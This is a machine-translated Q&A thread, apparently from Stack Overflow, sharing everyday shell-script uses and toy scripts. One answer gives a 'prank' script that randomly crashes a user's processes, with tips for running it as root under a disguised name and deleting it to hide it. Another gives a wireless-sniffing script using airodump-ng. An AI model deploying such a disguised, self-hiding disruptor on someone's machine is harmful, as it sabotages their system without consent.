我喜欢能够使用shell脚本自动化我的计算机的想法,但我无法实际做到这一点。
您是否在服务器,个人电脑,上网本等上使用过或以新颖的方式看过shell脚本?
我想到的一些例子:
真的很想知道你可能要分享的内容,谢谢!
答案 0 :(得分:11)
这是一个有趣的恶作剧
#!/bin/bash
user=$1
while true ; do
kill -SEGV $(ps -u $user -o pid= | random | tail -n 1)
sleep $RANDOM
done
每隔几分钟,$ user拥有的程序就会出现段错误。如果以root身份运行并且给出一个无辜的名称,那么最好,但是以$ user运行它也可以。将脚本保存为例如“xterm”或“kded”或“gnome-session”,chmod a + x脚本,然后像这样调用它:
$scriptname $username 2>/dev/null 1>&2 & disown $scriptname ; rm $scriptname
这将教会你的朋友不要让他们的系统解锁。此实现使用bsdgames中的随机,但您可以采用另一种方式进行选择。
答案 1 :(得分:4)
保持我所有的Git存储库都是最新的:
alias gitupdate='(for l in `find . -name .git | xargs -i dirname {}` ; do cd $l; pwd; git pull; cd -; done)'
将我的电脑备份到远程空间:
alias backup='rsync -av ~/Documents user@domain.com: --delete --delete-excluded --exclude-from=/Users/myusername/.rsync/exclude --rsh="ssh"'
答案 2 :(得分:3)
我有一些我经常使用/经常使用的。
一个脚本有两个参数 - .cpp文件和输出文件。然后它会编译文件并启动代码 - 对于在学校编写C ++代码非常有用。我还为汇编程序写了一个可以编译,链接和加载的文件。
我有其他人控制屏幕亮度,启动具有特定设置的各种程序(主要是cd到目录)...我认为我经常使用的那个是我创建文本的new.c++
脚本我的名字,班级信息,#include
等文件,并启动vim编辑文件。这非常有用。
没什么可傻的,只是一些好的,有用的东西
答案 3 :(得分:2)
我认为shell脚本是快捷方式。它们是你经常做的事情,每次都必须输入命令是浪费时间。即使是短小的脚本,如果你不得不多次调用它们,那么这些脚本会阻止你记住长参数列表。
例如,我经常需要通过airodump-ng进行无源监听模式无线嗅探。为此,我迅速将它们放在一起:
#!/bin/bash
# Make sure we're running as root
if [[ $EUID -ne 0 ]]
then
echo "This script must be run as root" 1>&2
exit 1
fi
# Make sure there is an argument 1
if [[ $# -ne 1 ]]
then
echo "Usage: `basename $0` <fileprefix>"
exit 65
fi
# Set up the monitor interface
airmon-ng start wlan0
# Start Sniffing with the prefix $1
airodump-ng -w $1 -t OPN --output-format pcap mon0
# Tear down the monitor interface
airmon-ng stop mon0
虽然应该注意的是,随着shell脚本的复杂性增加,您应该开始考虑用更健壮的语言重写它。这应该在那个简单的shell脚本成为一个任务关键怪物之前完成,这个怪物无法管理并且充满了bug,但一切都依赖于它。
答案 4 :(得分:1)
是。我一直使用和创建脚本来自动执行各种工作任务。一个示例调用:
some_project_test_suite
这是一个脚本,cd进入我存储some_project的文件夹,然后在该文件夹中运行一系列不同的测试,一遍又一遍地在命令行上输入会很痛苦。
这样的脚本可能非常简单,如下所示:
#! /bin/bash
cd path/to/folder/containing/some_project
path/to/build/system/binary test_target1 \
test_target2 \
...
test_targetN
那就是说,我不确定我会把这本小说完全称为。自动化应该是相当常规的。
答案 5 :(得分:1)
如果您使用的是使用dbus的桌面(例如gnome),那么本文可能会让您感兴趣。
http://www.linuxjournal.com/article/7744
一些示例用于电源管理。我使用dbus脚本自动使用随机引号更新我的pidgin状态消息。我敢肯定你可以用dbus和cron进行大量的恶作剧。
答案 6 :(得分:1)
在某些程序中测试多个值/事物也很方便。如果你在学校并且有类似的事情,我至少要做^ _ ^
答案 7 :(得分:1)
您可以将可能的用例与zenity之类的工具相乘,这些工具可以将小部件原语提供给shell脚本。
有了这个帮助,我为我们的笔记本电脑制作了一个管理脚本,允许控制我们的台式电脑:
并且好的副作用是,由于zenity我的其他家庭成员也可以使用该脚本。
答案 8 :(得分:1)
在我的上网本上,我写了一些bash脚本,该脚本在启动时调用,并在计算机启动后定期调用。如果互联网连接可用,它将挂载我的远程文件系统。这包括检查我的网络接口并使用一个名为sshfs的优秀软件安装远程文件系统。这真的很好 - 如果我的上网本嘶哑,我的远程RAID数据仍然很漂亮。
答案 9 :(得分:1)
我做了一对。这是你终端的假微波炉:
#!/bin/bash
clear
echo "What would you like to microwave?"
echo " "
echo "1) Pizza 2) Ramen 3) Hot Dog"
echo "4) S'mores 5) Tin Foil"
echo " "
read -p ">> " ans
case $ans in
1)
clear
echo " _________"
echo "|.----.|__|"
echo "|| <] ||++|"
echo "|'----'|__|"
sleep 2
clear
echo " _________"
echo "|.----.|3_|"
echo "|| <] ||++|"
echo "|'----'|__|"
beep -f 200 -d 0 -l 5 -r 10
sleep 0.2
clear
echo " _________"
echo "|.----.|30|"
echo "|| <] ||++|"
echo "|'----'|__|"
beep -f 200 -d 0 -l 5 -r 10
sleep 1
tmr=30
for run in {30..10}
do
clear
echo " _________"
echo "|.----.|"$tmr"|"
echo "|| <] ||++|"
echo "|'----'|__|"
beep -f 50 -l 1000
((tmr--))
done
for run in {9..0}
do
clear
echo " _________"
echo "|.----.|0"$tmr"|"
echo "|| <] ||++|"
echo "|'----'|__|"
beep -f 50 -l 1000
((tmr--))
done
clear
echo " _________"
echo "|.----.|00|"
echo "|| <] ||++|"
echo "|'----'|__|"
beep -f 1000 -l 500
sleep 1
beep -f 1000 -l 500
sleep 1
beep -f 1000 -l 500
sleep 1
exit
;&
2)
clear
echo " _________"
echo "|.----.|__|"
echo "||[~~]||++|"
echo "|'----'|__|"
sleep 2
clear
echo " _________"
echo "|.----.|3_|"
echo "||[~~]||++|"
echo "|'----'|__|"
beep -f 200 -d 0 -l 5 -r 10
sleep 0.2
clear
echo " _________"
echo "|.----.|30|"
echo "||[~~]||++|"
echo "|'----'|__|"
beep -f 200 -d 0 -l 5 -r 10
sleep 1
tmr=30
for run in {30..10}
do
clear
echo " _________"
echo "|.----.|"$tmr"|"
echo "||[~~]||++|"
echo "|'----'|__|"
beep -f 50 -l 1000
((tmr--))
done
for run in {9..0}
do
clear
echo " _________"
echo "|.----.|0"$tmr"|"
echo "||[~~]||++|"
echo "|'----'|__|"
beep -f 50 -l 1000
((tmr--))
done
clear
echo " _________"
echo "|.----.|00|"
echo "||[~~]||++|"
echo "|'----'|__|"
beep -f 1000 -l 500
sleep 1
beep -f 1000 -l 500
sleep 1
beep -f 1000 -l 500
sleep 1
exit
;&
3)
clear
echo " _________"
echo "|.----.|__|"
echo "|| [|]||++|"
echo "|'----'|__|"
sleep 2
clear
echo " _________"
echo "|.----.|3_|"
echo "|| [|]||++|"
echo "|'----'|__|"
beep -f 200 -d 0 -l 5 -r 10
sleep 0.2
clear
echo " _________"
echo "|.----.|30|"
echo "|| [|]||++|"
echo "|'----'|__|"
beep -f 200 -d 0 -l 5 -r 10
sleep 1
tmr=30
for run in {30..10}
do
clear
echo " _________"
echo "|.----.|"$tmr"|"
echo "|| [|]||++|"
echo "|'----'|__|"
beep -f 50 -l 1000
((tmr--))
done
for run in {9..0}
do
clear
echo " _________"
echo "|.----.|0"$tmr"|"
echo "|| [|]||++|"
echo "|'----'|__|"
beep -f 50 -l 1000
((tmr--))
done
clear
echo " _________"
echo "|.----.|00|"
echo "|| [|]||++|"
echo "|'----'|__|"
beep -f 1000 -l 500
sleep 1
beep -f 1000 -l 500
sleep 1
beep -f 1000 -l 500
sleep 1
exit
;&
4)
clear
echo " _________"
echo "|.----.|__|"
echo "|| == ||++|"
echo "|'----'|__|"
sleep 2
clear
echo " _________"
echo "|.----.|3_|"
echo "|| == ||++|"
echo "|'----'|__|"
beep -f 200 -d 0 -l 5 -r 10
sleep 0.2
clear
echo " _________"
echo "|.----.|30|"
echo "|| == ||++|"
echo "|'----'|__|"
beep -f 200 -d 0 -l 5 -r 10
sleep 1
tmr=30
for run in {30..10}
do
clear
echo " _________"
echo "|.----.|"$tmr"|"
echo "|| == ||++|"
echo "|'----'|__|"
beep -f 50 -l 1000
((tmr--))
done
for run in {9..0}
do
clear
echo " _________"
echo "|.----.|0"$tmr"|"
echo "|| == ||++|"
echo "|'----'|__|"
beep -f 50 -l 1000
((tmr--))
done
clear
echo " _________"
echo "|.----.|00|"
echo "|| == ||++|"
echo "|'----'|__|"
beep -f 1000 -l 500
sleep 1
beep -f 1000 -l 500
sleep 1
beep -f 1000 -l 500
sleep 1
exit
;&
5)
clear
echo " _________"
echo "|.----.|__|"
echo "||<^><||++|"
echo "|'----'|__|"
sleep 2
clear
echo " _________"
echo "|.----.|3_|"
echo "||<^><||++|"
echo "|'----'|__|"
beep -f 200 -d 0 -l 5 -r 10
sleep 0.2
clear
echo " _________"
echo "|.----.|30|"
echo "||<^><||++|"
echo "|'----'|__|"
beep -f 200 -d 0 -l 5 -r 10
sleep 1
tmr=30
for run in {30..25}
do
clear
echo " _________"
echo "|.----.|"$tmr"|"
echo "||<^><||++|"
echo "|'----'|__|"
beep -f 50 -l 5 -d 0 -r 100
((tmr--))
done
clear
echo " . _"
echo " 23vxxas"
echo " >553eSD34|"
echo "|XFDADSff3|"
echo ""
echo "Oh no! You blew up the microwave!"
freq=1000
for run in {1000..200}
do
beep -f $freq -l 1
((freq--))
done
exit
;&
esac
和&#34;硬币鳍状肢&#34;。
#!/bin/bash
clear
echo "Flipping a coin..."
echo ""
echo " _"
sleep 0.2
clear
echo "Flipping a coin..."
echo " _"
echo ""
sleep 0.2
clear
echo "Flipping a coin..."
echo " \\"
echo ""
sleep 0.2
clear
echo "Flipping a coin..."
echo " -"
echo ""
sleep 0.2
clear
echo "Flipping a coin..."
echo " /"
echo ""
sleep 0.2
clear
echo "Flipping a coin..."
echo " -"
echo ""
sleep 0.2
clear
echo "Flipping a coin..."
echo ""
echo " \\"
sleep 0.2
clear
echo "Flipping a coin..."
echo ""
echo " _"
sleep 2
clear
echo "The coin says..."
BINR=$(( ( RANDOM % 2 ) + 0 ))
if [ $BINR == 1 ]
then
AYS="HEADS"
fi
if [ $BINR == 0 ]
then
AYS="TAILS"
fi
sleep 2
echo " _____ "
echo " /"$AYS"\\"
echo " \\_____/"
echo " \\|||||/"
beep -f $((( RANDOM % 1000 )+ 300)) -d 0 -l 500
这两个都需要你安装&#34;哔哔&#34;。
如果您的发行版支持它,请使用apt-get install beep
或apt install beep
安装它。